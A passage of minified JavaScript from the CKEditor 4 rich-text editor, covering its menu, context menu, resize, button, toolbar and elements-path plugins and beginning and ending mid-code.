null!=e&&(t.allowBlur=e),t.allowBlur},showAsChild:function(e,t,n,i,o,r){this._.activeChild==e&&e._.panel._.offsetParentId==n.getId()||(this.hideChild(),e.onHide=CKEDITOR.tools.bind((function(){CKEDITOR.tools.setTimeout((function(){this._.focused||this.hide()}),0,this)}),this),this._.activeChild=e,this._.focused=!1,e.showBlock(t,n,i,o,r),this.blur(),(CKEDITOR.env.ie7Compat||CKEDITOR.env.ie6Compat)&&setTimeout((function(){e.element.getChild(0).$.style.cssText+=""}),100))},hideChild:function(e){var t=this._.activeChild;t&&(delete t.onHide,delete this._.activeChild,t.hide(),e&&this.focus())}}}),CKEDITOR.on("instanceDestroyed",(function(){var e,t=CKEDITOR.tools.isEmpty(CKEDITOR.instances);for(e in r){var n=r[e];t?n.destroy():n.element.hide()}t&&(r={})})),CKEDITOR.plugins.add("menu",{requires:"floatpanel",beforeInit:function(e){for(var t=e.config.menu_groups.split(","),n=e._.menuGroups={},i=e._.menuItems={},o=0;o<t.length;o++)n[t[o]]=o+1;e.addMenuGroup=function(e,t){n[e]=t||100},e.addMenuItem=function(e,t){n[t.group]&&(i[e]=new CKEDITOR.menuItem(this,e,t))},e.addMenuItems=function(e){for(var t in e)this.addMenuItem(t,e[t])},e.getMenuItem=function(e){return i[e]},e.removeMenuItem=function(e){delete i[e]}}}),function(){var e='<span class="cke_menuitem"><a id="{id}" class="cke_menubutton cke_menubutton__{name} cke_menubutton_{state} {cls}" href="{href}" title="{title}" tabindex="-1"_cke_focus=1 hidefocus="true" role="menuitem" aria-haspopup="{hasPopup}" aria-disabled="{disabled}"';(CKEDITOR.env.opera||CKEDITOR.env.gecko&&CKEDITOR.env.mac)&&(e+=' onkeypress="return false;"'),CKEDITOR.env.gecko&&(e+=' onblur="this.style.cssText = this.style.cssText;"'),e=e+' onmouseover="CKEDITOR.tools.callFunction({hoverFn},{index});" onmouseout="CKEDITOR.tools.callFunction({moveOutFn},{index});" '+(CKEDITOR.env.ie?'onclick="return false;" onmouseup':"onclick")+'="CKEDITOR.tools.callFunction({clickFn},{index}); return false;">';var t=CKEDITOR.addTemplate("menuItem",e+'<span class="cke_menubutton_inner"><span class="cke_menubutton_icon"><span class="cke_button_icon cke_button__{iconName}_icon" style="{iconStyle}"></span></span><span class="cke_menubutton_label">{label}</span>{arrowHtml}</span></a></span>'),n=CKEDITOR.addTemplate("menuArrow",'<span class="cke_menuarrow"><span>{label}</span></span>');CKEDITOR.menu=CKEDITOR.tools.createClass({$:function(e,t){t=this._.definition=t||{},this.id=CKEDITOR.tools.getNextId(),this.editor=e,this.items=[],this._.listeners=[],this._.level=t.level||1;var n=CKEDITOR.tools.extend({},t.panel,{css:[CKEDITOR.skin.getPath("editor")],level:this._.level-1,block:{}}),i=n.block.attributes=n.attributes||{};!i.role&&(i.role="menu"),this._.panelDefinition=n},_:{onShow:function(){var e=this.editor.getSelection(),t=e&&e.getStartElement(),n=this.editor.elementPath(),i=this._.listeners;this.removeAll();for(var o=0;o<i.length;o++){var r=i[o](t,e,n);if(r)for(var a in r){var s=this.editor.getMenuItem(a);!s||s.command&&!this.editor.getCommand(s.command).state||(s.state=r[a],this.add(s))}}},onClick:function(e){this.hide(),e.onClick?e.onClick():e.command&&this.editor.execCommand(e.command)},onEscape:function(e){var t=this.parent;return t?t._.panel.hideChild(1):27==e&&this.hide(1),!1},onHide:function(){this.onHide&&this.onHide()},showSubMenu:function(e){var t=this._.subMenu,n=this.items[e];if(n=n.getItems&&n.getItems()){for(var i in t?t.removeAll():((t=this._.subMenu=new CKEDITOR.menu(this.editor,CKEDITOR.tools.extend({},this._.definition,{level:this._.level+1},!0))).parent=this,t._.onClick=CKEDITOR.tools.bind(this._.onClick,this)),n){var o=this.editor.getMenuItem(i);o&&(o.state=n[i],t.add(o))}var r=this._.panel.getBlock(this.id).element.getDocument().getById(this.id+""+e);setTimeout((function(){t.show(r,2)}),0)}else this._.panel.hideChild(1)}},proto:{add:function(e){e.order||(e.order=this.items.length),this.items.push(e)},removeAll:function(){this.items=[]},show:function(e,t,n,i){if(this.parent||(this._.onShow(),this.items.length)){t=t||("rtl"==this.editor.lang.dir?2:1);var o=this.items,r=this.editor,a=this._.panel,s=this._.element;a||((a=this._.panel=new CKEDITOR.ui.floatPanel(this.editor,CKEDITOR.document.getBody(),this._.panelDefinition,this._.level)).onEscape=CKEDITOR.tools.bind((function(e){if(!1===this._.onEscape(e))return!1}),this),a.onShow=function(){a._.panel.getHolderElement().getParent().addClass("cke cke_reset_all")},a.onHide=CKEDITOR.tools.bind((function(){this._.onHide&&this._.onHide()}),this),(s=a.addBlock(this.id,this._.panelDefinition.block)).autoSize=!0,(l=s.keys)[40]="next",l[9]="next",l[38]="prev",l[CKEDITOR.SHIFT+9]="prev",l["rtl"==r.lang.dir?37:39]=CKEDITOR.env.ie?"mouseup":"click",l[32]=CKEDITOR.env.ie?"mouseup":"click",CKEDITOR.env.ie&&(l[13]="mouseup"),(l=(s=this._.element=s.element).getDocument()).getBody().setStyle("overflow","hidden"),l.getElementsByTag("html").getItem(0).setStyle("overflow","hidden"),this._.itemOverFn=CKEDITOR.tools.addFunction((function(e){clearTimeout(this._.showSubTimeout),this._.showSubTimeout=CKEDITOR.tools.setTimeout(this._.showSubMenu,r.config.menu_subMenuDelay||400,this,[e])}),this),this._.itemOutFn=CKEDITOR.tools.addFunction((function(){clearTimeout(this._.showSubTimeout)}),this),this._.itemClickFn=CKEDITOR.tools.addFunction((function(e){var t=this.items[e];t.state==CKEDITOR.TRISTATE_DISABLED?this.hide(1):t.getItems?this._.showSubMenu(e):this._.onClick(t)}),this)),function(e){e.sort((function(e,t){return e.group<t.group?-1:e.group>t.group?1:e.order<t.order?-1:e.order>t.order?1:0}))}(o);for(var l=['<div class="cke_menu'+((l=r.elementPath())&&l.direction()!=r.lang.dir?" cke_mixed_dir_content":"")+'" role="presentation">'],c=o.length,d=c&&o[0].group,u=0;u<c;u++){var h=o[u];d!=h.group&&(l.push('<div class="cke_menuseparator" role="separator"></div>'),d=h.group),h.render(this,u,l)}l.push("</div>"),s.setHtml(l.join("")),CKEDITOR.ui.fire("ready",this),this.parent?this.parent._.panel.showAsChild(a,this.id,e,t,n,i):a.showBlock(this.id,e,t,n,i),r.fire("menuShow",[a])}},addListener:function(e){this._.listeners.push(e)},hide:function(e){this._.onHide&&this._.onHide(),this._.panel&&this._.panel.hide(e)}}}),CKEDITOR.menuItem=CKEDITOR.tools.createClass({$:function(e,t,n){CKEDITOR.tools.extend(this,n,{order:0,className:"cke_menubutton__"+t}),this.group=e._.menuGroups[this.group],this.editor=e,this.name=t},proto:{render:function(e,i,o){var r=e.id+""+i,a=void 0===this.state?CKEDITOR.TRISTATE_OFF:this.state,s=a==CKEDITOR.TRISTATE_ON?"on":a==CKEDITOR.TRISTATE_DISABLED?"disabled":"off",l=this.getItems,c="&#"+("rtl"==this.editor.lang.dir?"9668":"9658")+";",d=this.name;this.icon&&!/\./.test(this.icon)&&(d=this.icon),e={id:r,name:this.name,iconName:d,label:this.label,cls:this.className||"",state:s,hasPopup:l?"true":"false",disabled:a==CKEDITOR.TRISTATE_DISABLED,title:this.label,href:"javascript:void('"+(this.label||"").replace("'")+"')",hoverFn:e._.itemOverFn,moveOutFn:e._.itemOutFn,clickFn:e._.itemClickFn,index:i,iconStyle:CKEDITOR.skin.getIconStyle(d,"rtl"==this.editor.lang.dir,d==this.icon?null:this.icon,this.iconOffset),arrowHtml:l?n.output({label:c}):""},t.output(e,o)}}})}(),CKEDITOR.config.menu_groups="clipboard,form,tablecell,tablecellproperties,tablerow,tablecolumn,table,anchor,link,image,flash,checkbox,radio,textfield,hiddenfield,imagebutton,button,select,textarea,div",CKEDITOR.plugins.add("contextmenu",{requires:"menu",onLoad:function(){CKEDITOR.plugins.contextMenu=CKEDITOR.tools.createClass({base:CKEDITOR.menu,$:function(e){this.base.call(this,e,{panel:{className:"cke_menu_panel",attributes:{"aria-label":e.lang.contextmenu.options}}})},proto:{addTarget:function(e,t){var n;if(CKEDITOR.env.opera&&!("oncontextmenu"in document.body)&&(e.on("mousedown",(function(i){if(2!=(i=i.data).$.button)i.getKeystroke()==CKEDITOR.CTRL+1&&e.fire("contextmenu",i);else if(!t||!(CKEDITOR.env.mac?i.$.metaKey:i.$.ctrlKey)){var o=i.getTarget();n||(o=o.getDocument(),(n=o.createElement("input")).$.type="button",o.getBody().append(n)),n.setAttribute("style","position:absolute;top:"+(i.$.clientY-2)+"px;left:"+(i.$.clientX-2)+"px;width:5px;height:5px;opacity:0.01")}})),e.on("mouseup",(function(t){n&&(n.remove(),n=void 0,e.fire("contextmenu",t.data))}))),e.on("contextmenu",(function(e){if(e=e.data,!t||!(CKEDITOR.env.webkit?i:CKEDITOR.env.mac?e.$.metaKey:e.$.ctrlKey)){e.preventDefault();var n=e.getTarget().getDocument(),o=e.getTarget().getDocument().getDocumentElement(),r=!n.equals(CKEDITOR.document),a=(n=n.getWindow().getScrollPosition(),r?e.$.clientX:e.$.pageX||n.x+e.$.clientX),s=r?e.$.clientY:e.$.pageY||n.y+e.$.clientY;CKEDITOR.tools.setTimeout((function(){this.open(o,null,a,s)}),CKEDITOR.env.ie?200:0,this)}}),this),CKEDITOR.env.opera&&e.on("keypress",(function(e){0===(e=e.data).$.keyCode&&e.preventDefault()})),CKEDITOR.env.webkit){var i,o=function(){i=0};e.on("keydown",(function(e){i=CKEDITOR.env.mac?e.data.$.metaKey:e.data.$.ctrlKey})),e.on("keyup",o),e.on("contextmenu",o)}},open:function(e,t,n,i){this.editor.focus(),e=e||CKEDITOR.document.getDocumentElement(),this.editor.selectionChange(1),this.show(e,t,n,i)}}})},beforeInit:function(e){var t=e.contextMenu=new CKEDITOR.plugins.contextMenu(e);e.on("contentDom",(function(){t.addTarget(e.editable(),!1!==e.config.browserContextMenuOnCtrl)})),e.addCommand("contextMenu",{exec:function(){e.contextMenu.open(e.document.getBody())}}),e.setKeystroke(CKEDITOR.SHIFT+121,"contextMenu"),e.setKeystroke(CKEDITOR.CTRL+CKEDITOR.SHIFT+121,"contextMenu")}}),CKEDITOR.plugins.add("resize",{init:function(e){var t,n,i,o,r=e.config,a=e.ui.spaceId("resizer"),s=e.element?e.element.getDirection(1):"ltr";if(!r.resize_dir&&(r.resize_dir="vertical"),null==r.resize_maxWidth&&(r.resize_maxWidth=3e3),null==r.resize_maxHeight&&(r.resize_maxHeight=3e3),null==r.resize_minWidth&&(r.resize_minWidth=750),null==r.resize_minHeight&&(r.resize_minHeight=250),!1!==r.resize_enabled){var l=null,c=("both"==r.resize_dir||"horizontal"==r.resize_dir)&&r.resize_minWidth!=r.resize_maxWidth,d=("both"==r.resize_dir||"vertical"==r.resize_dir)&&r.resize_minHeight!=r.resize_maxHeight,u=function(a){var l=t,u=n,h=l+(a.data.$.screenX-i)*("rtl"==s?-1:1);a=u+(a.data.$.screenY-o),c&&(l=Math.max(r.resize_minWidth,Math.min(h,r.resize_maxWidth))),d&&(u=Math.max(r.resize_minHeight,Math.min(a,r.resize_maxHeight))),e.resize(c?l:null,u)},h=function(){CKEDITOR.document.removeListener("mousemove",u),CKEDITOR.document.removeListener("mouseup",h),e.document&&(e.document.removeListener("mousemove",u),e.document.removeListener("mouseup",h))},m=CKEDITOR.tools.addFunction((function(a){l||(l=e.getResizable()),t=l.$.offsetWidth||0,n=l.$.offsetHeight||0,i=a.screenX,o=a.screenY,r.resize_minWidth>t&&(r.resize_minWidth=t),r.resize_minHeight>n&&(r.resize_minHeight=n),CKEDITOR.document.on("mousemove",u),CKEDITOR.document.on("mouseup",h),e.document&&(e.document.on("mousemove",u),e.document.on("mouseup",h)),a.preventDefault&&a.preventDefault()}));e.on("destroy",(function(){CKEDITOR.tools.removeFunction(m)})),e.on("uiSpace",(function(t){if("bottom"==t.data.space){var n="";c&&!d&&(n=" cke_resizer_horizontal"),!c&&d&&(n=" cke_resizer_vertical");var i='<span id="'+a+'" class="cke_resizer'+n+" cke_resizer_"+s+'" title="'+CKEDITOR.tools.htmlEncode(e.lang.common.resize)+'" onmousedown="CKEDITOR.tools.callFunction('+m+', event)">'+("ltr"==s?"◢":"◣")+"</span>";"ltr"==s&&"ltr"==n?t.data.html+=i:t.data.html=i+t.data.html}}),e,null,100),e.on("maximize",(function(t){e.ui.space("resizer")[t.data==CKEDITOR.TRISTATE_ON?"hide":"show"]()}))}}}),function(){var e='<a id="{id}" class="cke_button cke_button__{name} cke_button_{state} {cls}"'+(CKEDITOR.env.gecko&&10900<=CKEDITOR.env.version&&!CKEDITOR.env.hc?"":'" href="javascript:void(\'{titleJs}\')"')+' title="{title}" tabindex="-1" hidefocus="true" role="button" aria-labelledby="{id}_label" aria-haspopup="{hasArrow}"';(CKEDITOR.env.opera||CKEDITOR.env.gecko&&CKEDITOR.env.mac)&&(e+=' onkeypress="return false;"'),CKEDITOR.env.gecko&&(e+=' onblur="this.style.cssText = this.style.cssText;"'),e=(e=e+' onkeydown="return CKEDITOR.tools.callFunction({keydownFn},event);" onfocus="return CKEDITOR.tools.callFunction({focusFn},event);" onmousedown="return CKEDITOR.tools.callFunction({mousedownFn},event);" '+(CKEDITOR.env.ie?'onclick="return false;" onmouseup':"onclick")+'="CKEDITOR.tools.callFunction({clickFn},this);return false;"><span class="cke_button_icon cke_button__{iconName}_icon" style="{style}"')+'> </span><span id="{id}_label" class="cke_button_label cke_button__{name}_label" aria-hidden="false">{label}</span>{arrowHtml}</a>';var t=CKEDITOR.addTemplate("buttonArrow",'<span class="cke_button_arrow">'+(CKEDITOR.env.hc?"▼":"")+"</span>"),n=CKEDITOR.addTemplate("button",e);CKEDITOR.plugins.add("button",{beforeInit:function(e){e.ui.addHandler(CKEDITOR.UI_BUTTON,CKEDITOR.ui.button.handler)}}),CKEDITOR.UI_BUTTON="button",CKEDITOR.ui.button=function(e){CKEDITOR.tools.extend(this,e,{title:e.label,click:e.click||function(t){t.execCommand(e.command)}}),this._={}},CKEDITOR.ui.button.handler={create:function(e){return new CKEDITOR.ui.button(e)}},CKEDITOR.ui.button.prototype={render:function(e,i){var o,r=CKEDITOR.env,a=this._.id=CKEDITOR.tools.getNextId(),s="",l=this.command;this._.editor=e;var c={id:a,button:this,editor:e,focus:function(){CKEDITOR.document.getById(a).focus()},execute:function(){this.button.click(e)},attach:function(e){this.button.attach(e)}},d=CKEDITOR.tools.addFunction((function(e){if(c.onkey)return e=new CKEDITOR.dom.event(e),!1!==c.onkey(c,e.getKeystroke())})),u=CKEDITOR.tools.addFunction((function(e){var t;return c.onfocus&&(t=!1!==c.onfocus(c,new CKEDITOR.dom.event(e))),CKEDITOR.env.gecko&&10900>CKEDITOR.env.version&&e.preventBubble(),t})),h=0,m=CKEDITOR.tools.addFunction((function(){if(CKEDITOR.env.opera){var t=e.editable();t.isInline()&&t.hasFocus&&(e.lockSelection(),h=1)}}));if(c.clickFn=o=CKEDITOR.tools.addFunction((function(){h&&(e.unlockSelection(1),h=0),c.execute()})),this.modes){var f={},E=function(){var t=e.mode;t&&(t=this.modes[t]?null!=f[t]?f[t]:CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,t=e.readOnly&&!this.readOnly?CKEDITOR.TRISTATE_DISABLED:t,this.setState(t),this.refresh&&this.refresh())};e.on("beforeModeUnload",(function(){e.mode&&this._.state!=CKEDITOR.TRISTATE_DISABLED&&(f[e.mode]=this._.state)}),this),e.on("activeFilterChange",E,this),e.on("mode",E,this),!this.readOnly&&e.on("readOnly",E,this)}else l&&(l=e.getCommand(l))&&(l.on("state",(function(){this.setState(l.state)}),this),s+=l.state==CKEDITOR.TRISTATE_ON?"on":l.state==CKEDITOR.TRISTATE_DISABLED?"disabled":"off");this.directional&&e.on("contentDirChanged",(function(t){var n=CKEDITOR.document.getById(this._.id),i=n.getFirst();(t=t.data)!=e.lang.dir?n.addClass("cke_"+t):n.removeClass("cke_ltr").removeClass("cke_rtl"),i.setAttribute("style",CKEDITOR.skin.getIconStyle(g,"rtl"==t,this.icon,this.iconOffset))}),this),l||(s+="off");var g=E=this.name||this.command;return this.icon&&!/\./.test(this.icon)&&(g=this.icon,this.icon=null),r={id:a,name:E,iconName:g,label:this.label,cls:this.className||"",state:s,title:this.title,titleJs:r.gecko&&10900<=r.version&&!r.hc?"":(this.title||"").replace("'",""),hasArrow:this.hasArrow?"true":"false",keydownFn:d,mousedownFn:m,focusFn:u,clickFn:o,style:CKEDITOR.skin.getIconStyle(g,"rtl"==e.lang.dir,this.icon,this.iconOffset),arrowHtml:this.hasArrow?t.output():""},n.output(r,i),this.onRender&&this.onRender(),c},setState:function(e){if(this._.state==e)return!1;this._.state=e;var t=CKEDITOR.document.getById(this._.id);return!!t&&(t.setState(e,"cke_button"),e==CKEDITOR.TRISTATE_DISABLED?t.setAttribute("aria-disabled",!0):t.removeAttribute("aria-disabled"),e==CKEDITOR.TRISTATE_ON?t.setAttribute("aria-pressed",!0):t.removeAttribute("aria-pressed"),!0)},getState:function(){return this._.state},toFeature:function(e){if(this._.feature)return this._.feature;var t=this;return!this.allowedContent&&!this.requiredContent&&this.command&&(t=e.getCommand(this.command)||t),this._.feature=t}},CKEDITOR.ui.prototype.addButton=function(e,t){this.add(e,CKEDITOR.UI_BUTTON,t)}}(),function(){function e(e){function n(t,n){if(n.length){t.items?t.items.push(e.ui.create("-")):t.items=[];for(var o;o=n.shift();)o="string"==typeof o?o:o.name,i&&-1!=CKEDITOR.tools.indexOf(i,o)||(o=e.ui.create(o))&&e.addFeature(o)&&t.items.push(o)}}var i=(i=e.config.removeButtons)&&i.split(","),o=e.config.toolbar;return"string"==typeof o&&(o=e.config["toolbar_"+o]),e.toolbar=o?function(e){var t,i,o,r=[];for(t=0;t<e.length;++t)o={},"/"==(i=e[t])?r.push(i):CKEDITOR.tools.isArray(i)?(n(o,CKEDITOR.tools.clone(i)),r.push(o)):i.items&&(n(o,CKEDITOR.tools.clone(i.items)),o.name=i.name,r.push(o));return r}(o):function(){for(var i=function(){var t,n,i,o={};for(t in e.ui.items)n=(i=(i=(n=e.ui.items[t]).toolbar||"others").split(","))[0],i=parseInt(i[1]||-1,10),o[n]||(o[n]=[]),o[n].push({name:t,order:i});for(n in o)o[n]=o[n].sort((function(e,t){return e.order==t.order?0:0>t.order?-1:0>e.order?1:e.order<t.order?-1:1}));return o}(),o=CKEDITOR.tools.clone(e.config.toolbarGroups)||t(e),r=0;r<o.length;r++){var a=o[r];if("/"!=a){"string"==typeof a&&(a=o[r]={name:a});var s,l=a.groups;if(l)for(var c=0;c<l.length;c++)(s=i[s=l[c]])&&n(a,s);(s=i[a.name])&&n(a,s)}}return o}()}function t(e){return e._.toolbarGroups||(e._.toolbarGroups=[{name:"document",groups:["mode","document","doctools"]},{name:"clipboard",groups:["clipboard","undo"]},{name:"editing",groups:["find","selection","spellchecker"]},{name:"forms"},"/",{name:"basicstyles",groups:["basicstyles","cleanup"]},{name:"paragraph",groups:["list","indent","blocks","align","bidi"]},{name:"links"},{name:"insert"},"/",{name:"styles"},{name:"colors"},{name:"tools"},{name:"others"},{name:"about"}])}var n=function(){this.toolbars=[],this.focusCommandExecuted=!1};n.prototype.focus=function(){for(var e,t=0;e=this.toolbars[t++];)for(var n,i=0;n=e.items[i++];)if(n.focus)return void n.focus()};var i={modes:{wysiwyg:1,source:1},readOnly:1,exec:function(e){e.toolbox&&(e.toolbox.focusCommandExecuted=!0,CKEDITOR.env.ie||CKEDITOR.env.air?setTimeout((function(){e.toolbox.focus()}),100):e.toolbox.focus())}};CKEDITOR.plugins.add("toolbar",{requires:"button",init:function(t){var o,r=function(e,n){var i,a="rtl"==t.lang.dir,s=void 0===(s=t.config.toolbarGroupCycling)||s;switch(n){case 9:case CKEDITOR.SHIFT+9:for(;!i||!i.items.length;)if((i=9==n?(i?i.next:e.toolbar.next)||t.toolbox.toolbars[0]:(i?i.previous:e.toolbar.previous)||t.toolbox.toolbars[t.toolbox.toolbars.length-1]).items.length)for(e=i.items[o?i.items.length-1:0];e&&!e.focus;)(e=o?e.previous:e.next)||(i=0);return e&&e.focus(),!1;case a?37:39:case 40:i=e;do{!(i=i.next)&&s&&(i=e.toolbar.items[0])}while(i&&!i.focus);return i?i.focus():r(e,9),!1;case a?39:37:case 38:i=e;do{!(i=i.previous)&&s&&(i=e.toolbar.items[e.toolbar.items.length-1])}while(i&&!i.focus);return i?i.focus():(o=1,r(e,CKEDITOR.SHIFT+9),o=0),!1;case 27:return t.focus(),!1;case 13:case 32:return e.execute(),!1}return!0};t.on("uiSpace",(function(i){if(i.data.space==t.config.toolbarLocation){i.removeListener(),t.toolbox=new n;var o,a,s=['<span id="',l=CKEDITOR.tools.getNextId(),'" class="cke_voice_label">',t.lang.toolbar.toolbars,"</span>",'<span id="'+t.ui.spaceId("toolbox")+'" class="cke_toolbox" role="group" aria-labelledby="',l,'" onmousedown="return false;">'],l=!1!==t.config.toolbarStartupExpanded;t.config.toolbarCanCollapse&&t.elementMode!=CKEDITOR.ELEMENT_MODE_INLINE&&s.push('<span class="cke_toolbox_main"'+(l?">":' style="display:none">'));for(var c=t.toolbox.toolbars,d=e(t),u=0;u<d.length;u++){var h,m,f,E=0,g=d[u];if(g)if(o&&(s.push("</span>"),a=o=0),"/"===g)s.push('<span class="cke_toolbar_break"></span>');else{f=g.items||g;for(var T=0;T<f.length;T++){var p,C=f[T];if(C)if(C.type==CKEDITOR.UI_SEPARATOR)a=o&&C;else{if(p=!1!==C.canGroup,!E){h=CKEDITOR.tools.getNextId(),E={id:h,items:[]},m=g.name&&(t.lang.toolbar.toolbarGroups[g.name]||g.name),s.push('<span id="',h,'" class="cke_toolbar"',m?' aria-labelledby="'+h+'_label"':"",' role="toolbar">'),m&&s.push('<span id="',h,'_label" class="cke_voice_label">',m,"</span>"),s.push('<span class="cke_toolbar_start"></span>');var I=c.push(E)-1;0<I&&(E.previous=c[I-1],E.previous.next=E)}p?o||(s.push('<span class="cke_toolgroup" role="presentation">'),o=1):o&&(s.push("</span>"),o=0),h=function(e){e=e.render(t,s),(I=E.items.push(e)-1)>0&&(e.previous=E.items[I-1],e.previous.next=e),e.toolbar=E,e.onkey=r,e.onfocus=function(){t.toolbox.focusCommandExecuted||t.focus()}},a&&(h(a),a=0),h(C)}}o&&(s.push("</span>"),a=o=0),E&&s.push('<span class="cke_toolbar_end"></span></span>')}}if(t.config.toolbarCanCollapse&&s.push("</span>"),t.config.toolbarCanCollapse&&t.elementMode!=CKEDITOR.ELEMENT_MODE_INLINE){var O=CKEDITOR.tools.addFunction((function(){t.execCommand("toolbarCollapse")}));t.on("destroy",(function(){CKEDITOR.tools.removeFunction(O)})),t.addCommand("toolbarCollapse",{readOnly:1,exec:function(e){var t=e.ui.space("toolbar_collapser"),n=t.getPrevious(),i=e.ui.space("contents"),o=n.getParent(),r=parseInt(i.$.style.height,10),a=o.$.offsetHeight,s=t.hasClass("cke_toolbox_collapser_min");s?(n.show(),t.removeClass("cke_toolbox_collapser_min"),t.setAttribute("title",e.lang.toolbar.toolbarCollapse)):(n.hide(),t.addClass("cke_toolbox_collapser_min"),t.setAttribute("title",e.lang.toolbar.toolbarExpand)),t.getFirst().setText(s?"▲":"◀"),i.setStyle("height",r-(o.$.offsetHeight-a)+"px"),e.fire("resize")},modes:{wysiwyg:1,source:1}}),t.setKeystroke(CKEDITOR.ALT+(CKEDITOR.env.ie||CKEDITOR.env.webkit?189:109),"toolbarCollapse"),s.push('<a title="'+(l?t.lang.toolbar.toolbarCollapse:t.lang.toolbar.toolbarExpand)+'" id="'+t.ui.spaceId("toolbar_collapser")+'" tabIndex="-1" class="cke_toolbox_collapser'),l||s.push(" cke_toolbox_collapser_min"),s.push('" onclick="CKEDITOR.tools.callFunction('+O+')">','<span class="cke_arrow">▲</span>',"</a>")}s.push("</span>"),i.data.html+=s.join("")}})),t.on("destroy",(function(){if(this.toolbox){var e,t,n,i,o=0;for(e=this.toolbox.toolbars;o<e.length;o++)for(n=e[o].items,t=0;t<n.length;t++)(i=n[t]).clickFn&&CKEDITOR.tools.removeFunction(i.clickFn),i.keyDownFn&&CKEDITOR.tools.removeFunction(i.keyDownFn)}})),t.on("uiReady",(function(){var e=t.ui.space("toolbox");e&&t.focusManager.add(e,1)})),t.addCommand("toolbarFocus",i),t.setKeystroke(CKEDITOR.ALT+121,"toolbarFocus"),t.ui.add("-",CKEDITOR.UI_SEPARATOR,{}),t.ui.addHandler(CKEDITOR.UI_SEPARATOR,{create:function(){return{render:function(e,t){return t.push('<span class="cke_toolbar_separator" role="separator"></span>'),{}}}}})}}),CKEDITOR.ui.prototype.addToolbarGroup=function(e,n,i){var o=t(this.editor),r=0===n,a={name:e};if(i){if(i=CKEDITOR.tools.search(o,(function(e){return e.name==i})))return!i.groups&&(i.groups=[]),n&&0<=(n=CKEDITOR.tools.indexOf(i.groups,n))?void i.groups.splice(n+1,0,e):void(r?i.groups.splice(0,0,e):i.groups.push(e));n=null}n&&(n=CKEDITOR.tools.indexOf(o,(function(e){return e.name==n}))),r?o.splice(0,0,e):"number"==typeof n?o.splice(n+1,0,a):o.push(e)}}(),CKEDITOR.UI_SEPARATOR="separator",CKEDITOR.config.toolbarLocation="top",function(){var e;e={editorFocus:!1,readOnly:1,exec:function(e){(e=CKEDITOR.document.getById(e._.elementsPath.idBase+"0"))&&e.focus(CKEDITOR.env.ie||CKEDITOR.env.air)}};var t='<span class="cke_path_empty"> </span>',n="";(CKEDITOR.env.opera||CKEDITOR.env.gecko&&CKEDITOR.env.mac)&&(n+=' onkeypress="return false;"'),CKEDITOR.env.gecko&&(n+=' onblur="this.style.cssText = this.style.cssText;"');var i=CKEDITOR.addTemplate("pathItem",'<a id="{id}" href="{jsTitle}" tabindex="-1" class="cke_path_item" title="{label}"'+(CKEDITOR.env.gecko&&10900>CKEDITOR.env.version?' onfocus="event.preventBubble();"':"")+n+' hidefocus="true" onkeydown="return CKEDITOR.tools.callFunction({keyDownFn},{index}, event );" onclick="CKEDITOR.tools.callFunction({clickFn},{index}); return false;" role="button" aria-label="{label}">{text}</a>');CKEDITOR.plugins.add("elementspath",{init:function(n){n._.elementsPath={idBase:"cke_elementspath_"+CKEDITOR.tools.getNextNumber()+"_",filters:[]},n.on("uiSpace",(function(o){"bottom"==o.data.space&&function(n,o){function r(e){if((e=c.list[e]).equals(n.editable())||"true"==e.getAttribute("contenteditable")){var t=n.createRange();t.selectNodeContents(e),t.select()}else n.getSelection().selectElement(e);n.focus()}function a(){s&&s.setHtml(t),delete c.list}var s,l=n.ui.spaceId("path"),c=n._.elementsPath,d=c.idBase;o.html+='<span id="'+l+'_label" class="cke_voice_label">'+n.lang.elementspath.eleLabel+'</span><span id="'+l+'" class="cke_path" role="group" aria-labelledby="'+l+'_label">'+t+"</span>",n.on("uiReady",(function(){var e=n.ui.space("path");e&&n.focusManager.add(e,1)})),c.onClick=r;var u=CKEDITOR.tools.addFunction(r),h=CKEDITOR.tools.addFunction((function(e,t){var i,o=c.idBase;switch(t=new CKEDITOR.dom.event(t),i="rtl"==n.lang.dir,t.getKeystroke()){case i?39:37:case 9:return(i=CKEDITOR.document.getById(o+(e+1)))||(i=CKEDITOR.document.getById(o+"0")),i.focus(),!1;case i?37:39:case CKEDITOR.SHIFT+9:return(i=CKEDITOR.document.getById(o+(e-1)))||(i=CKEDITOR.document.getById(o+(c.list.length-1))),i.focus(),!1;case 27:return n.focus(),!1;case 13:case 32:return r(e),!1}return!0}));n.on("selectionChange",(function(){n.editable();for(var e,o=[],r=c.list=[],a=[],m=c.filters,f=!0,E=n.elementPath().elements,g=E.length;g--;){var T=E[g],p=0;e=T.data("cke-display-name")?T.data("cke-display-name"):T.data("cke-real-element-type")?T.data("cke-real-element-type"):T.getName(),!(f=T.hasAttribute("contenteditable")?"true"==T.getAttribute("contenteditable"):f)&&!T.hasAttribute("contenteditable")&&(p=1);for(var C=0;C<m.length;C++){var I=m[C](T,e);if(!1===I){p=1;break}e=I||e}p||(r.unshift(T),a.unshift(e))}for(r=r.length,m=0;m<r;m++)e=a[m],f=n.lang.elementspath.eleTitle.replace(/%1/,e),e=i.output({id:d+m,label:f,text:e,jsTitle:"javascript:void('"+e+"')",index:m,keyDownFn:h,clickFn:u}),o.unshift(e);s||(s=CKEDITOR.document.getById(l)),(a=s).setHtml(o.join("")+t),n.fire("elementsPathUpdate",{space:a})})),n.on("readOnly",a),n.on("contentDomUnload",a),n.addCommand("elementsPathFocus",e),n.setKeystroke(CKEDITOR.ALT+122,"elementsPathFocus")}(n,o.data)}))}})}(),function(){function e(e,t,n){n=e.config.forceEnterMode||n,"wysiwyg"==e.mode&&(t||(t=e.activeEnterMode),e.elementPath().isContextFor("p")||(t=CKEDITOR.ENTER_BR,n=1),e.fire("saveSnapshot"),t==CKEDITOR.ENTER_BR?r(e,t,null,n):a(e,t,null,n),e.fire("saveSnapshot"))}function t(e){for(var t=(e=e.getSelection().getRanges(!0)).length-1;0<t;t--)e[t].deleteContents();return e[0]}CKEDITOR.plugins.add("enterkey",{init:function(t){t.addCommand("enter",{modes:{wysiwyg:1},editorFocus:!1,exec:function(t){e(t)}}),t.addCommand("shiftEnter",{modes:{wysiwyg:1},editorFocus:!1,exec:function(t){e(t,t.activeShiftEnterMode,1)}}),t.setKeystroke([[13,"enter"],[CKEDITOR.SHIFT+13,"shiftEnter"]])}});var n=CKEDITOR.dom.walker.whitespaces(),i=CKEDITOR.dom.walker.bookmark();CKEDITOR.plugins.enterkey={enterBlock:function(e,o,a,l){if(a=a||t(e)){var 